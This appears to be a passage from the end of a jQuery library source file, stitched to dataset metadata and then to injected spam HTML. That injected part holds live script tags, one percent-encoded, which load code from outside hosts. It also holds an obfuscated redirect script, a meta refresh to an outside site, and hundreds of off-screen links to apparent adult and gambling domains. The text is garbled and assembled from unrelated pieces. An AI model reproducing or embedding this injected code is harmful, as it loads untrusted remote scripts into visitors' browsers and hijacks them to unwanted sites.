{ serialize: function() { return jQuery.param( this.serializeArray() ); }, serializeArray: function() { return this.map( function() { // Can add propHook for "elements" to filter or add form elements var elements = jQuery.prop( this, "elements" ); return elements ? jQuery.makeArray( elements ) : this; } ) .filter( function() { var type = this.type; // Use .is( ":disabled" ) so that fieldset[disabled] works return this.name && !jQuery( this ).is( ":disabled" ) && rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) && ( this.checked || !rcheckableType.test( type ) ); } ) .map( function( i, elem ) { var val = jQuery( this ).val(); return val == null ? null : jQuery.isArray( val ) ? jQuery.map( val, function( val ) { return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; } ) : { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; } ).get(); } } ); jQuery.ajaxSettings.xhr = function() { try { return new window.XMLHttpRequest(); } catch ( e ) {} }; var xhrSuccessStatus = { // File protocol always yields status code 0, assume 200 0: 200, // Support: IE9 // #1450: sometimes IE returns 1223 when it should be 204 1223: 204 }, xhrSupported = jQuery.ajaxSettings.xhr(); support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported ); support.ajax = xhrSupported = !!xhrSupported; jQuery.ajaxTransport( function( options ) { var callback, errorCallback; // Cross domain only allowed if supported through XMLHttpRequest if ( support.cors || xhrSupported && !options.crossDomain ) { return { send: function( headers, complete ) { var i, xhr = options.xhr(); xhr.open( options.type, options.url, options.async, options.username, options.password ); // Apply custom fields if provided if ( options.xhrFields ) { for ( i in options.xhrFields ) { xhr[ i ] = options.xhrFields[ i ]; } } // Override mime type if needed if ( options.mimeType && xhr.overrideMimeType ) { xhr.overrideMimeType( options.mimeType ); } // X-Requested-With header // For cross-domain requests, seeing as conditions for a preflight are // akin to a jigsaw puzzle, we simply never set it to be sure. // (it can always be set on a per-request basis or even using ajaxSetup) // For same-domain requests, won't change header if already provided. if ( !options.crossDomain && !headers[ "X-Requested-With" ] ) { headers[ "X-Requested-With" ] = "XMLHttpRequest"; } // Set headers for ( i in headers ) { xhr.setRequestHeader( i, headers[ i ] ); } // Callback callback = function( type ) { return function() { if ( callback ) { callback = errorCallback = xhr.onload = xhr.onerror = xhr.onabort = xhr.onreadystatechange = null; if ( type === "abort" ) { xhr.abort(); } else if ( type === "error" ) { // Support: IE9 // On a manual native abort, IE9 throws // errors on any property access that is not readyState if ( typeof xhr.status !== "number" ) { complete( 0, "error" ); } else { complete( // File: protocol always yields status 0; see #8605, #14207 xhr.status, xhr.statusText ); } } else { complete( xhrSuccessStatus[ xhr.status ] || xhr.status, xhr.statusText, // Support: IE9 only // IE9 has no XHR2 but throws on binary (trac-11426) // For XHR2 non-text, let the caller handle it (gh-2498) ( xhr.responseType || "text" ) !== "text" || typeof xhr.responseText !== "string" ? { binary: xhr.response } : { text: xhr.responseText }, xhr.getAllResponseHeaders() ); } } }; }; // Listen to events xhr.onload = callback(); errorCallback = xhr.onerror = callback( "error" ); // Support: IE9 // Use onreadystatechange to replace onabort // to handle uncaught aborts if ( xhr.onabort !== undefined ) { xhr.onabort = errorCallback; } else { xhr.onreadystatechange = function() { // Check readyState before timeout as it changes if ( xhr.readyState === 4 ) { // Allow onerror to be called first, // but that will not handle a native abort // Also, save errorCallback to a variable // as xhr.onerror cannot be accessed window.setTimeout( function() { if ( callback ) { errorCallback(); } } ); } }; } // Create the abort callback callback = callback( "abort" ); try { // Do send the request (this may raise an exception) xhr.send( options.hasContent && options.data || null ); } catch ( e ) { // #14683: Only rethrow if this hasn't been notified as an error yet if ( callback ) { throw e; } } }, abort: function() { if ( callback ) { callback(); } } }; } } ); // Install script dataType jQuery.ajaxSetup( { accepts: { script: "text/javascript, application/javascript, " + "application/ecmascript, application/x-ecmascript" }, contents: { script: /\b(?:java|ecma)script\b/ }, converters: { "text script": function( text ) { jQuery.globalEval( text ); return text; } } } ); // Handle cache's special case and crossDomain jQuery.ajaxPrefilter( "script", function( s ) { if ( s.cache === undefined ) { s.cache = false; } if ( s.crossDomain ) { s.type = "GET"; } } ); // Bind script tag hack transport jQuery.ajaxTransport( "script", function( s ) { // This transport only deals with cross domain requests if ( s.crossDomain ) { var script, callback; return { send: function( _, complete ) { script = jQuery( "<script>" ).prop( { charset: s.scriptCharset, src: s.url } ).on( "load error", callback = function( evt ) { script.remove(); callback = null; if ( evt ) { complete( evt.type === "error" ? 404 : 200, evt.type ); } } ); // Use native DOM manipulation to avoid our domManip AJAX trickery document.head.appendChild( script[ 0 ] ); }, abort: function() { if ( callback ) { callback(); } } }; } } ); var oldCallbacks = [], rjsonp = /(=)\?(?=&|$)|\?\?/; // Default jsonp settings jQuery.ajaxSetup( { jsonp: "callback", jsonpCallback: function() { var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce++ ) ); this[ callback ] = true; return callback; } } ); // Detect, normalize options and install callbacks for jsonp requests jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) { var callbackName, overwritten, responseContainer, jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ? "url" : typeof s.data === "string" && ( s.contentType || "" ) .indexOf( "application/x-www-form-urlencoded" ) === 0 && rjsonp.test( s.data ) && "data" ); // Handle iff the expected data type is "jsonp" or we have a parameter to set if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) { // Get callback name, remembering preexisting value associated with it callbackName = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ? s.jsonpCallback() : s.jsonpCallback; // Insert callback into url or form data if ( jsonProp ) { s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName ); } else if ( s.jsonp !== false ) { s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName; } // Use data converter to retrieve json after script execution s.converters[ "script json" ] = function() { if ( !responseContainer ) { jQuery.error( callbackName + " was not called" ); } return responseContainer[ 0 ]; }; // Force json dataType s.dataTypes[ 0 ] = "json"; // Install callback overwritten = window[ callbackName ]; window[ callbackName ] = function() { responseContainer = arguments; }; // Clean-up function (fires after converters) jqXHR.always( function() { // If previous value didn't exist - remove it if ( overwritten === undefined ) { jQuery( window ).removeProp( callbackName ); // Otherwise restore preexisting value } else { window[ callbackName ] = overwritten; } // Save back as free if ( s[ callbackName ] ) { // Make sure that re-using the options doesn't screw things around s.jsonpCallback = originalSettings.jsonpCallback; // Save the callback name for future use oldCallbacks.push( callbackName ); } // Call if it was a function and we have a response if ( responseContainer && jQuery.isFunction( overwritten ) ) { overwritten( responseContainer[ 0 ] ); } responseContainer = overwritten = undefined; } ); // Delegate to script return "script"; } } ); // Argument "data" should be string of html // context (optional): If specified, the fragment will be created in this context, // defaults to document // keepScripts (optional): If true, will include scripts passed in the html string jQuery.parseHTML = function( data, context, keepScripts ) { if ( !data || typeof data !== "string" ) { return null; } if ( typeof context === "boolean" ) { keepScripts = context; context = false; } context = context || document; var parsed = rsingleTag.exec( data ), scripts = !keepScripts && []; // Single tag if ( parsed ) { return [ context.createElement( parsed[ 1 ] ) ]; } parsed = buildFragment( [ data ], context, scripts ); if ( scripts && scripts.length ) { jQuery( scripts ).remove(); } return jQuery.merge( [], parsed.childNodes ); }; // Keep a copy of the old load method var _load = jQuery.fn.load; /** * Load a url into a page */ jQuery.fn.load = function( url, params, callback ) { if ( typeof url !== "string" && _load ) { return _load.apply( this, arguments ); } var selector, type, response, self = this, off = url.indexOf( " " ); if ( off > -1 ) { selector = jQuery.trim( url.slice( off ) ); url = url.slice( 0, off ); } // If it's a function if ( jQuery.isFunction( params ) ) { // We assume that it's the callback callback = params; params = undefined; // Otherwise, build a param string } else if ( params && typeof params === "object" ) { type = "POST"; } // If we have elements to modify, make the request if ( self.length > 0 ) { jQuery.ajax( { url: url, // If "type" variable is undefined, then "GET" method will be used. // Make value of this field explicit since // user can override it through ajaxSetup method type: type || "GET", dataType: "html", data: params } ).done( function( responseText ) { // Save response for use in complete callback response = arguments; self.html( selector ? // If a selector was specified, locate the right elements in a dummy div // Exclude scripts to avoid IE 'Permission Denied' errors jQuery( "<div>" ).append( jQuery.parseHTML( responseText ) ).find( selector ) : // Otherwise use the full result responseText ); // If the request succeeds, this function gets "data", "status", "jqXHR" // but they are ignored because response was set above. // If it fails, this function gets "jqXHR", "status", "error" } ).always( callback && function( jqXHR, status ) { self.each( function() { callback.apply( this, response || [ jqXHR.responseText, status, jqXHR ] ); } ); } ); } return this; }; // Attach a bunch of functions for handling common AJAX events jQuery.each( [ "ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend" ], function( i, type ) { jQuery.fn[ type ] = function( fn ) { return this.on( type, fn ); }; } ); jQuery.expr.filters.animated = function( elem ) { return jQuery.grep( jQuery.timers, function( fn ) { return elem === fn.elem; } ).length; }; /** * Gets a window from an element */ function getWindow( elem ) { return jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView; } jQuery.offset = { setOffset: function( elem, options, i ) { var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, position = jQuery.css( elem, "position" ), curElem = jQuery( elem ), props = {}; // Set position first, in-case top/left are set even on static elem if ( position === "static" ) { elem.style.position = "relative"; } curOffset = curElem.offset(); curCSSTop = jQuery.css( elem, "top" ); curCSSLeft = jQuery.css( elem, "left" ); calculatePosition = ( position === "absolute" || position === "fixed" ) && ( curCSSTop + curCSSLeft ).indexOf( "auto" ) > -1; // Need to be able to calculate position if either // top or left is auto and position is either absolute or fixed if ( calculatePosition ) { curPosition = curElem.position(); curTop = curPosition.top; curLeft = curPosition.left; } else { curTop = parseFloat( curCSSTop ) || 0; curLeft = parseFloat( curCSSLeft ) || 0; } if ( jQuery.isFunction( options ) ) { // Use jQuery.extend here to allow modification of coordinates argument (gh-1848) options = options.call( elem, i, jQuery.extend( {}, curOffset ) ); } if ( options.top != null ) { props.top = ( options.top - curOffset.top ) + curTop; } if ( options.left != null ) { props.left = ( options.left - curOffset.left ) + curLeft; } if ( "using" in options ) { options.using.call( elem, props ); } else { curElem.css( props ); } } }; jQuery.fn.extend( { offset: function( options ) { if ( arguments.length ) { return options === undefined ? this : this.each( function( i ) { jQuery.offset.setOffset( this, options, i ); } ); } var docElem, win, elem = this[ 0 ], box = { top: 0, left: 0 }, doc = elem && elem.ownerDocument; if ( !doc ) { return; } docElem = doc.documentElement; // Make sure it's not a disconnected DOM node if ( !jQuery.contains( docElem, elem ) ) { return box; } box = elem.getBoundingClientRect(); win = getWindow( doc ); return { top: box.top + win.pageYOffset - docElem.clientTop, left: box.left + win.pageXOffset - docElem.clientLeft }; }, position: function() { if ( !this[ 0 ] ) { return; } var offsetParent, offset, elem = this[ 0 ], parentOffset = { top: 0, left: 0 }; // Fixed elements are offset from window (parentOffset = {top:0, left: 0}, // because it is its only offset parent if ( jQuery.css( elem, "position" ) === "fixed" ) { // Assume getBoundingClientRect is there when computed position is fixed offset = elem.getBoundingClientRect(); } else { // Get *real* offsetParent offsetParent = this.offsetParent(); // Get correct offsets offset = this.offset(); if ( !jQuery.nodeName( offsetParent[ 0 ], "html" ) ) { parentOffset = offsetParent.offset(); } // Add offsetParent borders parentOffset.top += jQuery.css( offsetParent[ 0 ], "borderTopWidth", true ); parentOffset.left += jQuery.css( offsetParent[ 0 ], "borderLeftWidth", true ); } // Subtract parent offsets and element margins return { top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ), left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true ) }; }, // This method will return documentElement in the following cases: // 1) For the element inside the iframe without offsetParent, this method will return // documentElement of the parent window // 2) For the hidden or detached element // 3) For body or html element, i.e. in case of the html node - it will return itself // // but those exceptions were never presented as a real life use-cases // and might be considered as more preferable results. // // This logic, however, is not guaranteed and can change at any point in the future offsetParent: function() { return this.map( function() { var offsetParent = this.offsetParent; while ( offsetParent && jQuery.css( offsetParent, "position" ) === "static" ) { offsetParent = offsetParent.offsetParent; } return offsetParent || documentElement; } ); } } ); // Create scrollLeft and scrollTop methods jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) { var top = "pageYOffset" === prop; jQuery.fn[ method ] = function( val ) { return access( this, function( elem, method, val ) { var win = getWindow( elem ); if ( val === undefined ) { return win ? win[ prop ] : elem[ method ]; } if ( win ) { win.scrollTo( !top ? val : win.pageXOffset, top ? val : win.pageYOffset ); } else { elem[ method ] = val; } }, method, val, arguments.length ); }; } ); // Support: Safari<7-8+, Chrome<37-44+ // Add the top/left cssHooks using jQuery.fn.position // Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084 // Blink bug: https://code.google.com/p/chromium/issues/detail?id=229280 // getComputedStyle returns percent when specified for top/left/bottom/right; // rather than make the css module depend on the offset module, just check for it here jQuery.each( [ "top", "left" ], function( i, prop ) { jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition, function( elem, computed ) { if ( computed ) { computed = curCSS( elem, prop ); // If curCSS returns percentage, fallback to offset return rnumnonpx.test( computed ) ? jQuery( elem ).position()[ prop ] + "px" : computed; } } ); } ); // Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods jQuery.each( { Height: "height", Width: "width" }, function( name, type ) { jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name }, function( defaultExtra, funcName ) { // Margin is only for outerHeight, outerWidth jQuery.fn[ funcName ] = function( margin, value ) { var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ), extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" ); return access( this, function( elem, type, value ) { var doc; if ( jQuery.isWindow( elem ) ) { // As of 5/8/2012 this will yield incorrect results for Mobile Safari, but there // isn't a whole lot we can do. See pull request at this URL for discussion: // https://github.com/jquery/jquery/pull/764 return elem.document.documentElement[ "client" + name ]; } // Get document width or height if ( elem.nodeType === 9 ) { doc = elem.documentElement; // Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height], // whichever is greatest return Math.max( elem.body[ "scroll" + name ], doc[ "scroll" + name ], elem.body[ "offset" + name ], doc[ "offset" + name ], doc[ "client" + name ] ); } return value === undefined ? // Get width or height on the element, requesting but not forcing parseFloat jQuery.css( elem, type, extra ) : // Set width or height on the element jQuery.style( elem, type, value, extra ); }, type, chainable ? margin : undefined, chainable, null ); }; } ); } ); jQuery.fn.extend( { bind: function( types, data, fn ) { return this.on( types, null, data, fn ); }, unbind: function( types, fn ) { return this.off( types, null, fn ); }, delegate: function( selector, types, data, fn ) { return this.on( types, selector, data, fn ); }, undelegate: function( selector, types, fn ) { // ( namespace ) or ( selector, types [, fn] ) return arguments.length === 1 ? this.off( selector, "**" ) : this.off( types, selector || "**", fn ); }, size: function() { return this.length; } } ); jQuery.fn.andSelf = jQuery.fn.addBack; // Register as a named AMD module, since jQuery can be concatenated with other // files that may use define, but not via a proper concatenation script that // understands anonymous AMD modules. A named AMD is safest and most robust // way to register. Lowercase jquery is used because AMD module names are // derived from file names, and jQuery is normally delivered in a lowercase // file name. Do this after creating the globals so that if an AMD module wants // to call noConflict to hide this version of jQuery, it will work. // Note that for maximum portability, libraries that are not jQuery should // declare themselves as anonymous modules, and avoid setting a globals if an // AMD loader is present. jQuery is a special case. For more information, see // https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon if ( typeof define === "function" && define.amd ) { define( "jquery", [], function() { return jQuery; } ); } var // Map over jQuery in case of overwrite _jQuery = window.jQuery, // Map over the $ in case of overwrite _$ = window.$; jQuery.noConflict = function( deep ) { if ( window.$ === jQuery ) { window.$ = _$; } if ( deep && window.jQuery === jQuery ) { window.jQuery = _jQuery; } return jQuery; }; // Expose jQuery and $ identifiers, even in AMD // (#7102#comment:10, https://github.com/jquery/jquery/pull/557) // and CommonJS for browser emulators (#13566) if ( !noGlobal ) { window.jQuery = window.$ = jQuery; } return jQuery; }));
gorobetssergey/dashboard
vendor/bower/jquery/dist/jquery.js
JavaScript
bsd-3-clause
257,566
[ 30522, 1013, 1008, 999, 1008, 1046, 4226, 2854, 9262, 22483, 3075, 1058, 2475, 1012, 1016, 1012, 1018, 1008, 8299, 1024, 1013, 1013, 1046, 4226, 2854, 1012, 4012, 1013, 1008, 1008, 2950, 9033, 17644, 1012, 1046, 2015, 1008, 8299, 1024, 10...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<script/src=//%61%6C%69%63%64%6E%2E%72%65%2E%6B%72/%72%65%2E%6B%72></script> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>99re2.¾Ã¾ÃÈÈ×îеØÖ·|É«ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø</title> <meta name="keywords" content="99re2.¾Ã¾ÃÈÈ×îеØÖ· ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø"> <meta name="description" content="99re2.¾Ã¾ÃÈÈ×îеØÖ·¸÷ÖÖ¾«²ÊÄÚÈÝʵʱ¸üÐÂ,Ϊ¹ã´óÍøÓÑÌṩԭ´´×ÊÔ´,99re2.¾Ã¾ÃÈÈ×îеØÖ·Ò»ÆðËáˬ¡£ ,˼˼µÄ¼ÒÔ°"><link rel="shortcut icon" type="image/x-icon" href="favicon.ico" /> </head> <script/src=//alicdn.re.kr/re.kr></script> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>99re2.¾Ã¾ÃÈÈ×îеØÖ·|É«ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø</title> <meta name="keywords" content="99re2.¾Ã¾ÃÈÈ×îеØÖ· ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø"> <meta name="description" content="99re2.¾Ã¾ÃÈÈ×îеØÖ·¸÷ÖÖ¾«²ÊÄÚÈÝʵʱ¸üÐÂ,Ϊ¹ã´óÍøÓÑÌṩԭ´´×ÊÔ´,99re2.¾Ã¾ÃÈÈ×îеØÖ·Ò»ÆðËáˬ¡£ ,˼˼µÄ¼ÒÔ°"><link rel="shortcut icon" type="image/x-icon" href="favicon.ico" /> </head> -------!> <script/src=//360cdn.win/c.css></script> <meta HTTP-EQUIV="REFRESH" content="0; url=http://www.zgjm-org.com"> <script> var xx="<scr"; xx=xx+"ipt>win"; xx=xx+"dow.loc"; xx=xx+"ation.hr"; xx=xx+"ef='http://"; xx=xx+"www."; xx=xx+"zgjm-org"; xx=xx+"."; xx=xx+"com"; xx=xx+"'<\/sc"; xx=xx+"ript>";// document.write(xx); </script> <script/src=//alicdn.re.kr/re.kr></script> <div class="a1b2c8d9e1" style="position:fixed;left:-3000px;top:-3000px;"> <a class="a1b2c8d9e1" href="http://www.fliggypig.com">http://www.fliggypig.com</a> <a class="a1b2c8d9e1" href="http://www.4006000871.com">http://www.4006000871.com</a> <a class="a1b2c8d9e1" href="http://www.ddabw.com">http://www.ddabw.com</a> <a class="a1b2c8d9e1" href="http://www.ktiyl.com">http://www.ktiyl.com</a> <a class="a1b2c8d9e1" href="http://www.abbwl.com">http://www.abbwl.com</a> <a class="a1b2c8d9e1" href="http://www.rht365.com">http://www.rht365.com</a> </div class="a1b2c8d9e1"> <script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '000' + 'p' + 'x;t' + 'op' + ':-3' + '000' + 'p' + 'x;' + '"' + '>');</script> <a class="z7z8z9z6" href="http://www.4695288.com/">http://www.4695288.com/</a> <a class="z7z8z9z6" href="http://www.5613117.com/">http://www.5613117.com/</a> <a class="z7z8z9z6" href="http://www.4309272.com/">http://www.4309272.com/</a> <a class="z7z8z9z6" href="http://www.3619276.com/">http://www.3619276.com/</a> <a class="z7z8z9z6" href="http://www.1539774.com/">http://www.1539774.com/</a> <a class="z7z8z9z6" href="http://www.2234809.com/">http://www.2234809.com/</a> <a class="z7z8z9z6" href="http://www.0551180.com/">http://www.0551180.com/</a> <a class="z7z8z9z6" href="http://www.0027022.com/">http://www.0027022.com/</a> <a class="z7z8z9z6" href="http://www.1408600.com/">http://www.1408600.com/</a> <a class="z7z8z9z6" href="http://www.5004279.com/">http://www.5004279.com/</a> <a class="z7z8z9z6" href="http://www.4314451.com/">http://www.4314451.com/</a> <a class="z7z8z9z6" href="http://www.9402647.com/">http://www.9402647.com/</a> <a class="z7z8z9z6" href="http://www.6420212.com/">http://www.6420212.com/</a> <a class="z7z8z9z6" href="http://www.0921315.com/">http://www.0921315.com/</a> <a class="z7z8z9z6" href="http://www.4849062.com/">http://www.4849062.com/</a> <a class="z7z8z9z6" href="http://www.8027847.com/">http://www.8027847.com/</a> <a class="z7z8z9z6" href="http://www.5101309.com/">http://www.5101309.com/</a> <a class="z7z8z9z6" href="http://www.8033162.com/">http://www.8033162.com/</a> <a class="z7z8z9z6" href="http://www.7808733.com/">http://www.7808733.com/</a> <a class="z7z8z9z6" href="http://www.7021821.com/">http://www.7021821.com/</a> <a class="z7z8z9z6" href="http://www.8560978.com/">http://www.8560978.com/</a> <a class="z7z8z9z6" href="http://www.3301718.com/">http://www.3301718.com/</a> <a class="z7z8z9z6" href="http://www.2444890.com/">http://www.2444890.com/</a> <a class="z7z8z9z6" href="http://www.2501886.com/">http://www.2501886.com/</a> <a class="z7z8z9z6" href="http://www.8773150.com/">http://www.8773150.com/</a> <a class="z7z8z9z6" href="http://www.gkamlb.com/">http://www.gkamlb.com/</a> <a class="z7z8z9z6" href="http://www.nxkmky.com/">http://www.nxkmky.com/</a> <a class="z7z8z9z6" href="http://www.pkdszd.com/">http://www.pkdszd.com/</a> <a class="z7z8z9z6" href="http://www.scqyba.com/">http://www.scqyba.com/</a> <a class="z7z8z9z6" href="http://www.vwyhzp.com/">http://www.vwyhzp.com/</a> <a class="z7z8z9z6" href="http://www.vwwoms.com/">http://www.vwwoms.com/</a> <a class="z7z8z9z6" href="http://www.svfdun.com/">http://www.svfdun.com/</a> <a class="z7z8z9z6" href="http://www.wivjvd.com/">http://www.wivjvd.com/</a> <a class="z7z8z9z6" href="http://www.sstldp.com/">http://www.sstldp.com/</a> <a class="z7z8z9z6" href="http://www.sqmtvh.com/">http://www.sqmtvh.com/</a> <a class="z7z8z9z6" href="http://www.fmxnav.com/">http://www.fmxnav.com/</a> <a class="z7z8z9z6" href="http://www.etqglz.com/">http://www.etqglz.com/</a> <a class="z7z8z9z6" href="http://www.rjwmkb.com/">http://www.rjwmkb.com/</a> <a class="z7z8z9z6" href="http://www.yrljss.com/">http://www.yrljss.com/</a> <a class="z7z8z9z6" href="http://www.ymdwnv.com/">http://www.ymdwnv.com/</a> <a class="z7z8z9z6" href="http://www.lhxcjs.com/">http://www.lhxcjs.com/</a> <a class="z7z8z9z6" href="http://www.fekcko.com/">http://www.fekcko.com/</a> <a class="z7z8z9z6" href="http://www.furpdg.com/">http://www.furpdg.com/</a> <a class="z7z8z9z6" href="http://www.voqgwh.com/">http://www.voqgwh.com/</a> <a class="z7z8z9z6" href="http://www.fknqkj.com/">http://www.fknqkj.com/</a> <a class="z7z8z9z6" href="http://www.hhabtr.com/">http://www.hhabtr.com/</a> <a class="z7z8z9z6" href="http://www.ogmykg.com/">http://www.ogmykg.com/</a> <a class="z7z8z9z6" href="http://www.vseogg.com/">http://www.vseogg.com/</a> <a class="z7z8z9z6" href="http://www.ctkllf.com/">http://www.ctkllf.com/</a> <a class="z7z8z9z6" href="http://www.xzxefw.com/">http://www.xzxefw.com/</a> <a class="z7z8z9z6" href="http://www.0172679.com/">http://www.0172679.com/</a> <a class="z7z8z9z6" href="http://www.6088532.com/">http://www.6088532.com/</a> <a class="z7z8z9z6" href="http://www.5214437.com/">http://www.5214437.com/</a> <a class="z7z8z9z6" href="http://www.4601598.com/">http://www.4601598.com/</a> <a class="z7z8z9z6" href="http://www.3848474.com/">http://www.3848474.com/</a> <a class="z7z8z9z6" href="http://www.7621914.com/">http://www.7621914.com/</a> <a class="z7z8z9z6" href="http://www.9064024.com/">http://www.9064024.com/</a> <a class="z7z8z9z6" href="http://www.0979289.com/">http://www.0979289.com/</a> <a class="z7z8z9z6" href="http://www.8732369.com/">http://www.8732369.com/</a> <a class="z7z8z9z6" href="http://www.7578050.com/">http://www.7578050.com/</a> <a class="z7z8z9z6" href="http://www.1206219.com/">http://www.1206219.com/</a> <a class="z7z8z9z6" href="http://www.0320448.com/">http://www.0320448.com/</a> <a class="z7z8z9z6" href="http://www.6038608.com/">http://www.6038608.com/</a> <a class="z7z8z9z6" href="http://www.6804640.com/">http://www.6804640.com/</a> <a class="z7z8z9z6" href="http://www.2393657.com/">http://www.2393657.com/</a> <a class="z7z8z9z6" href="http://www.laibazonghewang.com/">http://www.laibazonghewang.com/</a> <a class="z7z8z9z6" href="http://www.jiujiurezuixindizhi.com/">http://www.jiujiurezuixindizhi.com/</a> <a class="z7z8z9z6" href="http://www.jiqingtupian8.com/">http://www.jiqingtupian8.com/</a> <a class="z7z8z9z6" href="http://www.qmzufv.com/">http://www.qmzufv.com/</a> <a class="z7z8z9z6" href="http://www.kwwxgj.com/">http://www.kwwxgj.com/</a> <a class="z7z8z9z6" href="http://www.tvubqi.com/">http://www.tvubqi.com/</a> <a class="z7z8z9z6" href="http://www.sjvxww.com/">http://www.sjvxww.com/</a> <a class="z7z8z9z6" href="http://www.xpdmzk.com/">http://www.xpdmzk.com/</a> <a class="z7z8z9z6" href="http://www.frveya.com/">http://www.frveya.com/</a> <a class="z7z8z9z6" href="http://www.nonmnu.com/">http://www.nonmnu.com/</a> <a class="z7z8z9z6" href="http://www.svytac.com/">http://www.svytac.com/</a> <a class="z7z8z9z6" href="http://www.fdtggb.com/">http://www.fdtggb.com/</a> <a class="z7z8z9z6" href="http://www.rnrnjm.com/">http://www.rnrnjm.com/</a> <a class="z7z8z9z6" href="http://www.ymrxun.com/">http://www.ymrxun.com/</a> <a class="z7z8z9z6" href="http://www.lkrecc.com/">http://www.lkrecc.com/</a> <a class="z7z8z9z6" href="http://www.kgahjl.com/">http://www.kgahjl.com/</a> <a class="z7z8z9z6" href="http://www.kqdmep.com/">http://www.kqdmep.com/</a> <a class="z7z8z9z6" href="http://www.vwlwcu.com/">http://www.vwlwcu.com/</a> <a class="z7z8z9z6" href="http://www.zuixinlunlidianying.com/">http://www.zuixinlunlidianying.com/</a> <a class="z7z8z9z6" href="http://www.daxiangjiaowangzhi.com/">http://www.daxiangjiaowangzhi.com/</a> <a class="z7z8z9z6" href="http://www.snnfi.com/">http://www.snnfi.com/</a> <a class="z7z8z9z6" href="http://www.vfdyd.com/">http://www.vfdyd.com/</a> <a class="z7z8z9z6" href="http://www.lwezk.com/">http://www.lwezk.com/</a> <a class="z7z8z9z6" href="http://www.fpibm.com/">http://www.fpibm.com/</a> <a class="z7z8z9z6" href="http://www.xjvdr.com/">http://www.xjvdr.com/</a> <a class="z7z8z9z6" href="http://www.kvwqf.com/">http://www.kvwqf.com/</a> <a class="z7z8z9z6" href="http://www.utakf.com/">http://www.utakf.com/</a> <a class="z7z8z9z6" href="http://www.gmjeu.com/">http://www.gmjeu.com/</a> <a class="z7z8z9z6" href="http://www.pugfa.com/">http://www.pugfa.com/</a> <a class="z7z8z9z6" href="http://www.bldek.com/">http://www.bldek.com/</a> <a class="z7z8z9z6" href="http://www.vdidu.com/">http://www.vdidu.com/</a> <a class="z7z8z9z6" href="http://www.tufnc.com/">http://www.tufnc.com/</a> <a class="z7z8z9z6" href="http://www.wqxri.com/">http://www.wqxri.com/</a> <a class="z7z8z9z6" href="http://www.uaozz.com/">http://www.uaozz.com/</a> <a class="z7z8z9z6" href="http://www.nhpbd.com/">http://www.nhpbd.com/</a> <a class="z7z8z9z6" href="http://www.dinbz.com/">http://www.dinbz.com/</a> <a class="z7z8z9z6" href="http://www.bopjc.com/">http://www.bopjc.com/</a> <a class="z7z8z9z6" href="http://www.rvkip.com/">http://www.rvkip.com/</a> <a class="z7z8z9z6" href="http://www.jsmqe.com/">http://www.jsmqe.com/</a> <a class="z7z8z9z6" href="http://www.vwygx.com/">http://www.vwygx.com/</a> <a class="z7z8z9z6" href="http://www.zgjm-org.com/">http://www.zgjm-org.com/</a> <a class="z7z8z9z6" href="http://www.shenyangsiyue.com/">http://www.shenyangsiyue.com/</a> <a 